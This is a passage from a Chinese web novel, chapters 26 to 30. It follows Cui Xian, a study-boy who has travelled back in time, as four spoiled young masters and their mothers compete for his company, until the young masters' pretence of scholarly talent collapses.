裴坚吹干墨迹,把纸张小心放进信封,这才以玩笑般的口吻说道:“其实我知道,我一直都知道,我就是根朽木。家里人嫌我没出息,学堂夫子觉得我是朽木草包。” “然后我遇见了岘弟,他是这么多年,唯一发自内心夸赞我,觉得我优秀的人。他……他愿意喊我一声大哥,我好开心好开心。” “给人做大哥的感觉真的很爽,会有一种我其实不是废柴朽木的错觉。” “等我把这封信送去开封,等《虹猫蓝兔七侠传》出版,等崔岘的才子名声响彻整个南阳,我是废柴的事实,一定会暴露。” “到时候,他肯定就不愿意给我做小弟了,我也没脸做他的大哥。” “所以说这么多不是我矫情,我就是想说,想说……” ‘想说’重复了好几次,裴坚也没能说出口。 李鹤聿把话接过来,难得表情非常认真:“兄弟,你放心,我们懂你的意思!这段时间,我们努力,一定把《虹猫蓝兔七侠传》好好写出来!” 庄瑾也郑重道:“对,好好写!我虽然没有给崔岘小弟做大哥,但被他整日喊大才子,说实话心里也美滋滋的。虽然后面肯定会败露,但至少现在,我们还是崔岘小弟崇拜的对象啊!” 高奇咧开嘴:“咱们把《虹猫蓝兔七侠传》好好写出来,让崔岘小弟打响才名!虽说咱们不是大才子,但没关系,因为真正的南阳大才子,是由咱们几个废柴的努力而扬名的!这样想一想,是不是也挺有成就感的。” 确实啊! 听起来,比出版《虹猫蓝兔七侠传》让虹猫少侠问世,要更加激动啊怎么回事! 大概是因为,虹猫少侠是虚拟的。 但,超级神童天才崔岘小弟,是活生生存在的! 四人互相对视,彼此伸出拳头轻轻碰撞:“为了崔岘小弟的才名,咱们做大哥的,拼了!” 没办法,谁让他们是大哥呢。 最后裴坚又不放心的说道:“我先把丑话说在前面,别只会喊空话,每人回去都要好好写,不可以敷衍!” “而且最近这段时间,时刻警惕,我还想给我小弟做一段时间优秀大哥呢!在《虹猫蓝兔七侠传》出版,我爹我祖父回来之前,我要维持好优秀大哥的人设!” 其余三人闻言鄙夷嘲笑:“嘁,还说我们仨贱,你才是最贱的那个。” 裴坚贱笑出声,又恢复了往日吊儿郎当的纨绔姿态。 崔岘在窗外默默听着,嘴角带笑。 说到底,这四位少爷,性格的底色都是善良的。 虽说纨绔骄纵厌学,但却并没有因为小弟出色而嫉妒,哪怕冒着‘被小弟抛弃’的可能,也要努力为小弟的前程铺路。 少年人的友谊,纯洁不掺杂利益,稚嫩的拳头碰撞,擦出来的火花,都是青涩的、真诚的。 而这样的好大哥,崔岘又怎么会弃其而去呢? 功名前程之路漫漫,三五好友兄弟抵肩前行,何尝不是人生一大幸事! · 数日后。 开封府。 裴坚的那封信,终于送到了。 最近这段时间,远在开封的裴家大爷、裴家老爷,先后收到了两封来自家里的信。 第一封,是裴老夫人寄来的,说家里请来了一个书童,这书童乖巧聪慧,说坚哥儿是个神童天才。坚哥儿在书童的劝说下,肯开始用功读书了。 裴家两位举人老爷对此嗤之以鼻:坚哥儿那孩子,跟用功读书这几个字,根本不沾边。 多半是老夫人溺爱孙子,所以夸大其词了。 然后是第二封信。 这封信,是裴坚本人寄来的。 当真稀奇,这几年父子二人聚少离多,通常都是裴家大爷往家里寄信,裴坚从未主动寄信过来。 难不成,那臭小子思念自己这个父亲了? 心头微微宽慰,裴家大爷拆开信,看到儿子那鬼画符一般的丑陋字迹,只觉得眼睛痛,并果断撤回了酝酿好的父爱。 这不成器的玩意儿,怎么能把字写成这样? 强忍住怒气,裴家大爷看完了这封看似写给自己,实则满篇都在夸赞小弟书童如何天才的话,只觉得既泛酸、又荒谬。 平时都没见你对老子我如此关切,竟然对一个书童煞费苦心。 呵。 至于儿子说的‘未开蒙便能构思出精彩绝伦的话本’、‘跟着读一遍《千字文》便能全部认识’这种鬼话。 裴家大爷一个字都不信。 于是,同吴夫子一样,裴家大爷研墨执笔,回了一封日后他每每想起同样后悔不跌、辗转反侧、羞愧难当的信:“不可能,绝对不可能!这世间不存在这样的天才,你那小弟,多半是个骗子,伪装天才的庸才。” “也就你这样没见识的草包,才会错把庸才当天才!徒增笑料,惹人笑话!” “多读些书,涨涨见识!” “为父最近学业繁忙,你祖父下个月休沐,刚好打算归家一趟。我会把此事告知他,且等他回去,好好教育一番你!” “还有你那个‘神童’小弟!” 26、人人哄抢小书童 当开封府的裴家大爷,写回信狠狠斥责裴坚的时候。 他无论如何都想不到—— 自己那位不学无术的朽木儿子,最近正夜以继日的用功读书。 还有那位他认为是‘庸才骗子’的小书童。 更是成为被四家豪族争抢,人人都爱的存在。 先说裴坚为何突然用功。 除了要著写《虹猫蓝兔七侠传》。 还因为压力大啊! 事实上不仅裴坚。 李鹤聿、高奇、庄瑾三人,最近都在咬牙学习。 有个读一遍《千字文》就能全部认识的、堪称变态的、超级可怕的神童天才小弟,做大哥的,岂能没有压力? 当然除了裴坚,其余三位少爷,属于单方面倒贴上来做大哥。 但这不重要! 重要的是,他们四个,是真的被刺激到了! 在家里。 他们点灯夜读,抓耳挠腮著书。 到了学堂。 四人认真听课,课余时间还争抢着去同吴夫子讨教学问。 以至于族学里的学子们瞧见他们,都一副见了鬼的表情。 这几位纨绔少爷,竟然真的转性了? 怎么可能! 身为始作俑者的崔岘,暗暗将四位纨绔少爷的表现看在眼里,却佯装毫不知情。 其实读一遍《千字文》就马上学会这种事情,确实有些夸张、不合理。 但没办法。 作为穿越者,尤其是前世还是一位汉语言文学博士。 崔岘脑子里‘夸张到离谱’的学识,实在太多、太多了! 而这些都是极其不合理的东西! 为了以后能合理的把那些学识拿出来。 只能从现在开始,就给自己打造一个‘超强天才’人设,先从一点小小的不合理做起。 而后,逐步叠加。 人们会慢慢习惯。 会自发替他找补:“崔岘他就是个神童,他无所不能,他什么都会!别用你平庸的想法,去限定我们的超级天才好吗!” 比如现在。 裴坚四人已经完全不会质疑,崔岘听读一遍《千字文》就马上学会了这种事情的合理性。 因为他是妖孽神童,超级无敌天才! 闭嘴,别问。 懂就行了! 而四位纨绔突然转性,用功读书,更是让他们家里的长辈,感动到落泪。 我儿懂事了,知道学习了! 高、庄、李三家已经打听清楚,儿子之所以会上进,全因崔岘小哥! 选在学堂休假这日。 三家的夫人们,携带儿子和厚礼,迫不及待联袂造访裴府,感谢崔岘小哥。 裴府老爷不在,唯有裴老夫人一位女眷,因此,这三家都是派遣夫人前来。 在高家的马车即将抵达裴府之前。 马车里。 高奇一直跟他娘夸赞崔岘:“娘,你都不知道,崔岘小弟有多优秀!好羡慕裴坚,能做崔岘小弟的大哥。” 千户夫人听着儿子眉飞色舞夸赞崔岘。 她转了转眼珠子,跟儿子咬耳朵:“羡慕有什么用,你要真心喜欢崔岘小弟,不如把他抢过来。” 啊? 高奇懵了。 随后赶忙摇头:“不行不行,我和裴坚是兄弟,我不能抢他的小弟……” 说到这里,高奇突然就不说话了。 他要是把岘弟抢走了。 每天被岘弟崇拜着喊他‘全世界最优秀的大哥’,那高奇都不敢想自己会有多爽! 反正…… 反正等《虹猫蓝兔七侠传》一上市,崔岘之名就会火爆南阳。 神童天资更是如皓月光华,闪瞎无数人的狗眼。 裴坚是废柴的事实也会败露,然后失去崔岘小弟。 既然迟早都要失去。 那,那不如早点失去,这样还能让我高奇当几天大哥呢! 这个想法一出,就怎么都刹不住了。 见儿子表情松动,千户夫人又压低声音说道:“什么兄弟不兄弟的,裴坚要是真的拿你当兄弟,就应该把小弟让给你啊。儿子,娘支持你,把崔岘小弟抢过来。” “而且娘跟你说,娘太了解庄瑾娘、李鹤聿娘了。这俩女人,一个比一个精明。说不定,她俩在来的路上,也在教唆她们的儿子,把崔岘小弟抢走呢!” 高奇一听急了,怒道:“是吧是吧!娘我跟你说,你说的太对了!庄瑾、李鹤聿那俩小子,绝对没安好心。他俩第一次见到岘弟,就在那里卖弄,想把崔岘小弟骗回家!” “不行,我要先下手为强!想办法把崔岘小弟抢到咱家来!” 当高奇暗中下定决心的时候。 庄、李两家驶向裴府的马车里。 庄瑾、李鹤聿也在跟各自的娘亲咬耳朵,表情鬼鬼祟祟。 庄瑾娘:“儿子,娘亲支持你!裴家虽然门第清贵,但如果崔岘主动要离开,来咱家住,他们裴府也没辙!” 李鹤聿娘:“崔岘小弟若是真跟儿子你说的那般优秀,自然该抢过来,请他来咱家啊!” 庄瑾、李鹤聿各自脸色阴晴不定,随后一咬牙—— 抢就抢! 与此同时,裴府。 今日学堂休假,裴坚仍旧在书房用功。 而崔岘怕打扰到他,所以在自己厢房里背书。 这时候。 嘎吱—— 书房的房门被人推开,是裴老夫人来了。 裴坚皱眉:“祖母,孙儿不是交代了,不要打扰孙儿著书。” 换做往常,裴老夫人肯定就立马出去了。 可今日,见孙儿一副毫无察觉的姿态。 老夫人叹了口气,走过来压低声音说道:“先停下吧,我的傻孙儿哟,你再傻乎乎用功下去,小弟都被人给抢跑咯。” 裴坚豁然抬头:“什么?谁敢抢少爷我的小弟,活的不耐烦了!” 裴老夫人撇撇嘴,眼睛里闪烁着精光:“还能有谁,你那三个好兄弟呗!你瞧瞧,今日学堂一休假,他们三家的夫人,就联袂来咱家造访了!还特地递了拜帖,说是要来感谢岘哥儿。” “岘哥儿虽好,但毕竟年幼,是个晚辈。哪有他们长辈主动登门,特地亲自来道谢的?这不合乎常理,更何况这三位夫人,也都是南阳有头有脸的精明人物。” “祖母老了,但可没有老眼昏花看不清。他们啊,八成是为了岘哥儿来的。岘哥儿不仅让你转性用功读书,也让你那其余三位兄弟学好了。” “那三位夫人肯定乐到合不拢嘴,不知道多感谢岘哥儿呢。为了能让他们家儿子以后都好好读书,肯定不惜一切代价,来抢岘哥儿。” “坚哥儿你回想一下,你那三位兄弟,先前有没有暗搓搓的想要拐走岘哥儿。” 裴坚仔细一想,怒了:“有!那三个蠢货,从见到我小弟第一面起,就不安好心!我拿他们当兄弟,他们却想要抢我小弟?岂有此理!” 裴老夫人见小孙子想透彻了,表情欣慰:“你且看吧,今日那三家,一定会备上厚礼来送予岘哥儿。所以,祖母也给岘哥儿备了一份厚礼。岘哥儿这孩子,祖母实在喜欢。” 裴坚闻言这才开心道:“祖母你真好!还好有你提醒孙儿,否则我小弟怕是都要被抢了。” 当高、庄、李三家豪华的马车,即将到达裴府。 当四位‘塑料兄弟’暗搓搓盘算着,该如何抢走崔岘小弟的时候。 大伯母林氏从河西村出发,来县城探望在私塾读书的儿子崔钰,以及在裴府做书童的侄子崔岘。 而处于‘风暴中心’的崔岘本人,尚且对此毫不知情。 他还指望四位草包少爷协心同力,早日把《虹猫蓝兔七侠传》写出来,出版上市赚钱呢! 27、太受欢迎了怎么办 这天。 林氏从河西村出发,先是去探望儿子崔钰。 然后又来探望侄子崔岘。 等到了裴府门外。 远远瞧见那气派的大门,她踌躇着不敢上前。 恰逢这时候。 三辆奢华马车,带着仆从和厚礼,来裴府拜访。 林氏躲在角落里,等那些贵人们进去后。 这才鼓足勇气上前问门房:“敢问……敢问小哥,你可认识崔岘?” 门房小厮瞧见一个乡野妇人过来,原本神情不耐。 可听到对方说完后,眼睛嗖的一下睁大:“认识,认识啊!您是?” 小厮态度突然很热络。 林氏吓了一跳,不安道:“我……我来给他送点东西,顺便说几句话。” 小厮闻言,越发殷勤:“您是崔岘小哥的家人?这样,您随我进来,去见见老夫人吧。” 老夫人得知崔岘小哥家人来了,肯定会热情招待的。 林氏闻言慌了:“不,不用!我在这里等着。劳烦您,让崔岘出来一趟吧。” 岘哥儿是裴府的书童。 高门大户规矩多,林氏生怕给岘哥儿惹麻烦,是以怎么敢进去? 啊这。 小厮听到这话,挠了挠头,疑惑的看了一眼林氏,但还是照办了,进去找崔岘小哥。 事实上,林氏也很疑惑不解。 她就是来探望侄子,缘何还要去见裴府的老夫人呢? · 裴家,正厅。 高、李、庄三位夫人,正携带各自的儿子,翘首以盼。 他们的仆从个个捧着礼物,挤满了整个厅堂。 裴老夫人、裴坚祖孙二人,则是表情如临大敌。 这三家人为了抢夺岘哥儿,可谓是下了血本。 当真不要脸! 崔岘被管家喊过来的时候,尚有些疑惑。 等他走到正厅外,瞧见里面惊人的大阵仗,当即被唬了一跳。 正厅里,夫人们在瞧见崔岘后,眼睛齐齐发亮。 四月阳光明媚,清风微拂。 杜鹃、海棠、芍药争相绽放。 那从廊下走来的俊俏小少年,皮肤白皙五官标致,脊背笔挺气质出众。 如翩翩公子,比花更俏。 着实让人惊艳。 夫人们本就为抢夺崔岘而来,如今瞧见他这般模样,那当真是稀罕惨了! 于是,在众人瞠目的注视下。 千户高夫人站起来,一把将刚进厅堂的崔岘揽入怀中:“你便是崔岘吧,果真一表人才。我是高奇的娘亲,你可以唤我一声高婶婶。” “近几日,高奇这小子肯认真读书,全然都是你的功劳。婶婶特地带着礼物,来感谢你呢。” 啊? 香风扑鼻而来,被陌生夫人抱住的崔岘懵了。 他挣扎着从对方怀中起身,赧然道:“原来是高婶婶。高奇兄长天资极好,满身才气,肯用功读书,是他自己上进,和我关系不大。” 哎呦! 这孩子,不仅俊俏,嘴也甜呢。 千户高夫人只觉得心都快化了,更坚定了要把崔岘抢回家的决心。 却不曾想。 旁边,庄瑾娘突然一把将千户高夫人推开,拉着崔岘的手热情笑道:“好孩子,我是你庄婶婶,庄瑾的娘。” “让婶婶好好看看,哎哟,俊俏的哟。” 庄瑾娘一边说,一边在崔岘的俏脸上摸来摸去。 崔岘脸都红了:“婶婶……男女有别。” 庄瑾娘闻言笑的直不起腰。 趁着她笑的空档。 李鹤聿娘将崔岘‘抢’了过来,热络道:“我是鹤聿的娘,你叫我李婶婶就好。岘哥儿,婶婶今日也给你带了好多好东西来。” 李家十几位家仆,顿时捧着礼盒,来到崔岘面前。 “青砖雕花镇纸、卯榫结构笔筒、鲁班尺、陶制瓦当砚、香樟木透雕笔搁……你看看喜欢不?” 李夫人一一做介绍,又道:“若没有喜欢的也无所谓,你跟婶婶回家,来府上随便挑。” 崔岘发出没见过世面的惊叹。 庄夫人冷笑一声,不服输的说道:“岘哥儿,你且看庄婶婶给你送了什么。” 庄家十几位仆人,也捧着礼盒供崔岘观看。 “红漆描金攒盒、掐丝珐琅九连环、玳瑁框象牙算盘、漳绒面翘头案、犀角雕蟋蟀罐、鎏银长命锁、越窑青瓷枕……若是你来婶婶府上,婶婶还有更好的东西送你。” 好家伙! 崔岘眼睛发直。 高夫人不甘示弱:“岘哥儿,高婶婶也给你送了礼呢。” 于是。 高家十几位仆从捧着礼物,把庄、李二家的仆从挤开,凑到崔岘面前。 “桦木胎牛角梢弓、竹胎牛皮盾牌,铜制虎符挂饰,木包铁训练枪、还有一匹毛发油光锃亮的幼年骏马……你今日,跟婶婶一起走吧,去婶婶家,和高奇一起学习骑射。” 崔岘看到眼花缭乱。 原来豪横的不是大哥。 是大哥的娘啊! 但这些礼物,崔岘不敢收。 他敏锐察觉到,正厅里的氛围有些不对劲。 三位婶婶在暗中较劲儿。 李鹤聿、庄瑾、高奇三人,都在目光炯炯、热切的看向自己。 大哥裴坚则是表情难堪至极。 眼看三位夫人已经亮出明牌。 裴老夫人坐不住了,以主家姿态朗声道:“岘哥儿,既然三位婶婶送你礼物,你便收下吧。” “但以后你还是住在裴府,莫要去叨扰三位婶婶。” “有件事我还没同你讲,你这孩子乖巧,我实在喜欢的紧。所以过些时日,我打算同你家长辈商议,将你送去裴氏族学,和坚哥儿一起读书。” “我也特地给你备了一份礼。” 说罢。 十几位裴家的家丁,捧着礼物昂首挺胸出场,暗搓搓有种要把其余三家的家丁比下去的气势。 他们可是听说了,这三家夫人,竟然是来抢崔岘小哥的。 那怎么可以! “岘哥儿,这是《蒙童训》的手抄本。” “这是竹胎兔毫笔,粗瓷笔洗,松烟墨锭,歙县金星砚坯,黄铜书拨……” 裴老夫人一样一样介绍礼物,又道:“以后,你跟着坚哥儿去族学一同读书,切记要互相帮扶,共同进步。” 裴老夫人这些礼物一拿出来,就把其余三家给震慑住了。 不愧是举人世家! 裴坚很是得意的看了看自己三位损友。 而后对崔岘道:“岘弟,我祖母给你的,你就收着,莫要推辞。谁让我是你大哥呢。” 三位夫人满脸不甘心。 李鹤聿、高奇、庄瑾,此刻则是急急看向崔岘,表情焦灼。 大家的意思很明确:岘弟,选我,我才是最稀罕你的那一个! 跟我吧,我以后一辈子对你好! 被这么多炙热视线盯着的崔岘,只觉得压力山大。 太受欢迎了怎么办! 硬着头皮忽略掉几位婶婶炙热的目光。 崔岘朝裴老夫人拱手:“多谢老夫人抬爱。” 这便是选择继续留在裴府的意思。 裴老夫人含笑点头,视线不着痕迹瞥过那三位神情咬牙切齿的夫人,心中暗道: “跟老婆子我抢人,你们还嫩了点哟。” 裴坚见状嘿嘿直笑。 其余三位纨绔少爷嫉妒到面目全非。 可恶,你在神气什么! 大家都是纨绔朽木,凭什么就你能给岘弟做大哥? 高奇第一个嚷嚷道:“岘弟,你方才分明很喜欢我娘送你的礼。可是因为你暂住裴府,寄人篱下,所以抹不开面子!” “不如你先随我回府住上几日,然后咱们再做决定。” 这话翻译一下: 岘弟,你必定是有苦衷,所以才选了裴坚。其实你最愿意亲近的人,肯定是我! 听到这话,崔岘暗道不好。 这是要打起来的节奏啊! 28、岘哥儿出息了? 果然。 听到高奇这话。 高夫人反应过来,附和儿子:“是呢!我们母子喜欢岘哥儿,所以才琢磨着,请岘哥儿来府上小住。” “老夫人摆出这架势,像是把岘哥儿拘在府里似的。” 庄瑾娘阴阳怪气跟进:“对啊对啊,岘哥儿住在裴府,怎地还不能自由走动了呢。” 李鹤聿娘最后补刀:“我可怜的岘哥儿哟,不如跟婶婶回家吧。以后想去哪里,婶婶都让鹤聿陪你。” 裴老夫人被气的绷不住了,恼道:“一派胡言!我何时限制岘哥儿自由,分明是你们几个不安好心!” “对岘哥儿好,怎么就不安好心了?” “就是说呢。” 裴老夫人先前的优势荡然无存。 四个女人针尖对麦芒,吵作一团。 崔岘:“……” 真打起来了! 另一边。 不顾裴坚难堪的脸色。 庄瑾反驳高奇:“高奇你可真无耻,岘哥儿明明最喜欢我家送的礼物!是吧岘哥儿。” 李鹤聿则是开启无差别攻击:“你们是在逼迫岘哥儿吗?不管岘哥儿怎么选,我都支持他,做他背后的好大哥。” 裴坚三人闻言:? 好你个李鹤聿,平时看着一本正经,实则阴损的很呐! 于是。 四位少爷也红了脸,因‘岘弟最想认谁做大哥’而互相争吵。 崔岘懵了。 不是,你们怎么也打起来了啊! 客厅里顿时乱作一团。 裴、高、李、庄四家带来的仆从们,一个个瞠目结舌、震惊呆滞。 这些夫人、少爷,身份尊贵,在南阳城里不知道有多少人排着队想要来巴结。 如今却因为一个小书童,当场‘打’了起来! 天呐! 数十位家仆直愣愣看向被哄抢的崔岘,心想,此人究竟有何过人之处,魅力竟如此之大! 处于风暴中心的崔岘也很无言。 事情跟他想的不一样啊。 说好的四家豪族一起感谢自己呢? 怎么突然就打起来了! 看着眼前乱糟糟的场面,崔岘很想嚎一嗓子—— 你们不要再打了啦! 恰逢这时候。 那位替林氏传话的小厮跑着来到正厅。 瞧见这一幕,嘴巴顿时长得老大,既呆滞,又羡慕。 随后,他提高声音道:“启禀老夫人,崔岘小哥的家人来了,说是想请他出去,有几句话要交代。” 家里来人了? 崔岘闻言眼睛亮了起来。 接着顺势朝正在吵架的众人一拱手,脚底抹油开溜:“各位……咳,你们先忙。家中人来探亲,我去去就回。” 现在这场面,他实在不敢多待啊! 等崔岘走了。 正厅里安静下来。 裴老夫人第一个回神,拉起裴坚:“坚哥儿,走,咱们去跟岘哥儿家人打声招呼。” 其余人纷纷醒悟。 可恶,裴老夫人这是要笼络岘哥儿的家人呐! 岘哥儿毕竟年幼。 笼络到了他的家人,那不就能彻底把这孩子留在裴府了! 因此,其余三位夫人也急了。 各自带着儿子,一群人争先恐后向府外赶去。 不行,今天一定要把岘哥儿抢回家! · 裴府外。 林氏一直在神情忐忑的等待着。 “大伯母!” 等崔岘小跑着出来。 林氏松了口气,一把将他抱在怀里,仔细询问:“岘哥儿,好孩子。你在裴府过的怎么样,没被欺负吧。” 得到肯定答复,林氏终于放下心。 她将带来的干净衣裳、一些零嘴儿、和50文钱递过来。 崔岘自是不肯收那钱:“我不缺钱,大伯母,你把钱带回去吧。” “莫要推辞,快收下。” 林氏道:“你爹、你大伯要读书。你娘大着肚子,祖母腿脚也不方便,只能大伯母来探望你。” “你在裴府安心做工,照顾好自己,莫要惦记家里。” “休假了好好歇息,不必折腾着回家了。等六月份夏收,你娘也凑在那个时候生孩子,家里忙不开,你再回来。” “我跟你兄长,也是这样交代的。” 实则是因为,崔老太太不想把儿子关进牛棚的事情,让孙子知道。 所以,就暂时不让两个孙子回家了。 但现在才四月份,距离六月夏收,还有俩月呢。 崔岘觉得有些奇怪,正欲细问,却听林氏突然瞪大眼,低呼一声‘娘嘞’! 他顺着林氏的目光回头。 便瞧见裴老夫人、其余三位婶婶,并四位少爷,和一群家仆,浩浩荡荡出来。 崔岘嘴角抽搐。 裴老夫人热切的跟林氏打招呼:“你便是岘哥儿的家人?我是裴府的老夫人。” 她衣着华贵,姿容富硕。 林氏懵了片刻,慌忙回道:“对,我是岘哥儿的大伯母,老夫人好。” 裴府一门双举人,眼前这老夫人,她的相公是举人,儿子也是举人。 身份顶顶尊贵着呢! 可这样尊贵的老夫人,怎么会来跟自己这乡野村妇打招呼呢? 林氏想不明白。 更让她匪夷所思的是。 裴老夫人神情热络,明显是想跟自己继续攀谈。 一个同样衣着鲜亮的夫人,竟一把将裴老夫人挤开,态度好到不像话:“原来是岘哥儿的大伯母,你好,我是南阳卫高千户家的夫人。” 嘶! 千户大人家的夫人! 林氏倒吸一口冷气,她平时在街上遇到普通士兵,都得客气喊一声‘军爷’呢。 没等林氏回应。 另一位夫人把千户夫人挤开:“岘哥儿的大伯母,我是袁宝斋家的庄夫人。” 老天! 袁宝斋,那不是南阳首富的产业吗? 林氏懵了。 更让她发懵的是,第三位夫人也热切跟她打招呼:“岘哥儿的大伯母,我是工匠李家的夫人。” 工匠李! 虽说是‘工匠’,但那可是百匠之首,南阳匠行的会长。 连南阳县衙、府衙,都是他家修建的呢。 纵观整个南阳,谁没听过工匠李的大名? 这四位夫人,个个身份尊贵。 可为什么要特地来跟自己打招呼,还如此热情热络! 林氏百思不得其解。 她一个乡野村妇,面对这么多贵人,实在有些顶不住。 “各……各位夫人好!我就是来探望一下岘哥儿,若有叨扰,莫要见怪。那,我……我就先回了。” 于是,林氏拍了拍崔岘的肩膀,当做告别。 而后匆忙开溜。 甚至她走了以后,都能感受到那群贵人在身后,用热切的目光远远注视着自己。 太吓人了! 完全想不明白这闹得是哪一出。 事实上,四位夫人正遗憾呢,本想跟岘哥儿家人搞好关系。 结果林氏走的太急,全然不给夫人们示好的机会! 回到家后。 林氏把这事儿说给陈氏、崔老太太听。 二人听完也是如丈二和尚,摸不着头脑。 但不管怎么说,岘哥儿在裴府没受委屈,便让人放心了。 林氏仔细回想,突然小声猜测道:“娘,弟妹,你们说,是不是因为岘哥儿出息了。所以那些贵人们,才会争相来跟我打招呼?” 这话说完,她自己先笑了。 陈氏、崔老太太也跟着笑。 怎么可能嘛! 29、原来少爷是个废柴 这场‘抢夺岘哥儿’的大战,最后不出意外,以裴坚胜利而告终。 三位夫人领着各自的儿子,愤愤归家。 裴坚则是指挥仆从,将三家送来的礼物,全都搬进崔岘的卧房。 “等过些天你休假,把这些礼都带回去。” 裴坚表情贼兮兮的交代:“以后那仨货送你东西,你都收着。但是不许答应做他们小弟,更不许去他们府上,听到了吗?” 你占有欲还怪强嘞。 崔岘无奈点头。 心里却在担心,经过这件事,四个纨绔少爷怕是会心生芥蒂。 这还怎么齐心合力把《虹猫蓝兔七侠传》著出来? 裴坚显然还没意识到问题的严重性。 想了想。 他又交代道:“祖母说要送你去族学开蒙,但我的意思是,先不着急。等我父亲那边回了信,等《虹猫蓝兔七侠传》出版,你名声大噪后,再进族学也不迟。” “这段时间,我会陆续把《幼学琼林》、《龙文鞭影》、《声律启蒙》、《增广贤文》等启蒙书籍,都教予你。” 裴少爷这是在给自己小弟铺路呢。 崔岘点头:“我听大哥的。” 结果当天晚上,裴坚就收到了开封府的回信。 读完信后,他气的怒骂自己亲爹‘没眼光’、‘真是读书都读到狗身上去了’。 好在信上说,祖父下个月会休沐回来。 裴坚心想,那就再等等。 刚好下个月《虹猫蓝兔七侠传》差不多也能出版,届时,让小弟拜自己祖父为师。 二人亲上加亲! 看那三个瓜怂,还怎么有能耐跟自己抢小弟。 次日。 裴坚带着崔岘去学堂,刚好偶遇李鹤聿、庄瑾、高奇。 四位昔日好兄弟互相翻了个白眼,重重冷哼,谁也不搭理谁。 但又默契的围在崔岘身边。 高奇掏出两个热乎乎的肉包,殷勤递过来:“岘弟,可曾吃过早饭,这家包子特别香!我起了个大早,特地给你买的。” 庄瑾则是接过崔岘背着的书箱:“岘弟,这书箱好沉的,你取下来,让某位大少爷自己背!” 李鹤聿递过来一本《增广贤文》:“岘弟,今晚要去我家吗,我教你读这本书。” 崔岘接了高奇的包子。 被庄瑾取走书箱,重重甩给裴坚。 又把李鹤聿给的《增广贤文》收好,连连道谢。 却听裴坚得意道:“岘弟早上吃过饭了,我家大厨炖了一夜的瘦肉粥。” “那书箱不是我的,是我给岘弟准备的,里面都是启蒙书籍,包括《增广贤文》。” 可恶! 还不是因为岘弟住在裴府,才能让裴坚近水楼台先得月。 三位少爷气的牙痒痒。 而他们四人围着一位书童献殷勤,让路过的学子们瞠目结舌、风中凌乱。 不是,这……合理吗? 究竟谁是少爷、谁是书童啊! 而且这四位纨绔,可是出了名的脾气坏、不好惹。 那书童究竟有何魅力,竟让四位纨绔围着他团团转? 简直不可思议! 学堂里的仆从、书童们,看向崔岘的目光中,更是带着崇拜、尊敬。 书童能做到人家这份上,当真我辈楷模啊! 于是,原本丝毫不起眼的小书童崔岘,以这样诡异的方式,在族学里出名了。 崔岘对此很是无言。 耳房里。 吴夫子远远瞧着那四根朽木,向一个小书童献殷勤,有些费解。 但很快他便不甚在意的收回视线,继续看向手中那张字帖。 越看越喜欢。 越看越惊艳。 这些天,吴夫子一有空就欣赏这张写满‘朽木不可雕也’的字帖。 可让他大为着急的是,字帖的主人,竟仿佛凭空消失了一般,再也没来。 此人,究竟是谁呢? 崔岘远远看着耳房里抓耳挠腮的吴夫子,嘴角悄然浮现出一抹笑意。 · 结束一天的课业后。 裴坚斜睨一眼三位损友,瓮声道:“走吧,去我家著书。” 虽然闹了矛盾,但书还是要继续著的。 因为他们答应过岘弟。 可庄瑾却道:“以后咱们在学堂著书吧,找一间空的学舍。” 李鹤聿、高奇表示赞同。 裴坚磨了磨牙,最后只能拉着脸同意。 别以为他不知道这仨货打的什么主意,无非就是想方设法要把岘弟拐走呗! 眼看四人又要掐起来,作为‘被争抢对象’的崔岘缩了缩脖子。 究竟什么时候能结束这场闹剧啊。 五人沉默着选了一间空学舍进去。 他们没发出声音,隔壁学舍,一群学子们毫无察觉,正在笑嘻嘻聊天。 而学子们闲谈的对象,正是裴坚等人! “裴坚那厮,从小不学无术,荒废学业,不敬夫子。最近竟然转性了,还嚷嚷着要著书。” “哈哈哈哈哈,他草包一个,能著出什么书来?” “更好笑的是裴坚身边那个书童,傻子似的,天天嚷嚷着吹嘘裴坚是个天才神童。” “还有李鹤聿、高奇、庄瑾三个纨绔朽木,最近也跟着抽风。” “反正我是不信他们几个蠢才会著书!” 他们聊得肆无忌惮,大声嘲笑。 却不知。 隔壁刚坐下的五人,脸色都变了。 四位纨绔神情紧绷。 崔岘同样无言——他还想一直佯装‘崇拜四大才子’呢。 这下好了,被人贴脸开大,戏还怎么演下去啊! 全砸了! ‘优秀大哥’的谎言被当场拆穿,裴坚怕是心态要崩,说不定一气之下破罐子破摔,继续去做草包朽木。 《虹猫蓝兔七侠传》也不会著写了。 这可如何是好! 好在裴坚没那么脆弱。 他深吸一口气,稳住心态,看向庄瑾三人,以玩笑般的口吻说道:“这些人就是嫉妒少爷我才华横溢,所以才会这样污蔑我的,对吧。” 换做平时,三个损友肯定帮忙附和找补。 可现在他们正在闹矛盾! 因此,李鹤聿没吭声。 庄瑾避开裴坚求救的视线。 高奇沉默了会,突然一咬牙:“算了,我演不下去了!什么嫉妒,什么才华横溢,什么南阳四大才子,都是假的!” “不如早点承认吧,咱们四个就是人人嘲笑的草包朽木,不学无术的榆木疙瘩。” “对不起,岘弟,我们一直都在骗你。” 房间里的氛围霎时间凝固了。 崔岘见状,只能硬着头皮,佯装呆愣愣看向裴坚:“大哥?” 裴坚的心脏都狠狠抽搐了一下。 他甚至不敢去回应小弟的询问,心里既难过恐慌,又没来由的愤怒。 先是恶狠狠的瞪了一眼高奇。 裴坚‘蹭’的一下站起来,不理会崔岘,怒气冲冲踹开隔壁学舍:“哪个王八犊子在背后编排少爷我?活得不耐烦了!是,我是纨绔,我是草包朽木,那又如何?轮得到你们在这里说三道四?” “这裴氏族学,是少爷我家开的!不服,那你们全都滚啊!” 隔壁学舍安静下来。 方才大声嘲笑的学子们,犹如被捏着脖子的鸡,霎时间齐齐噤声,表情尴尬。 双方短暂对峙后。 裴坚一转身,快步跑着离开学堂。 许是风有些大,又许是眼睛进了沙,一边跑,眼泪不停往下掉。 他这个废柴大哥,要失去自己的小弟了。 30、全世界最好的小弟 从族学一路哭着跑回家,裴坚把自己关进卧房里。 无论谁叫门,他都不肯开。 好在,小少爷房里不缺茶水糕点,不至于饿坏肚子。 另一边。 高奇、庄瑾、李鹤聿三人,同样神情恹恹。 他们不去学堂了。 不再用功读书了。 也不点灯奋战,抓耳挠腮著书了。 整日躺在家里,沉默寡言,憔悴颓废。 这下,把其余三家长辈们都吓得不轻。 祖宗唉,又怎么了这是? 前几天不还在用功学习,劲头正足的嘛! 李家。 工匠李、和他的夫人正一筹莫展。 却听管家来汇报:“老爷、夫人,外面有位自称叫做崔岘的小少年求见,说是咱家少爷的朋友。” 岘哥儿来了? 夫妻二人眼睛亮起来:“快快有请!” 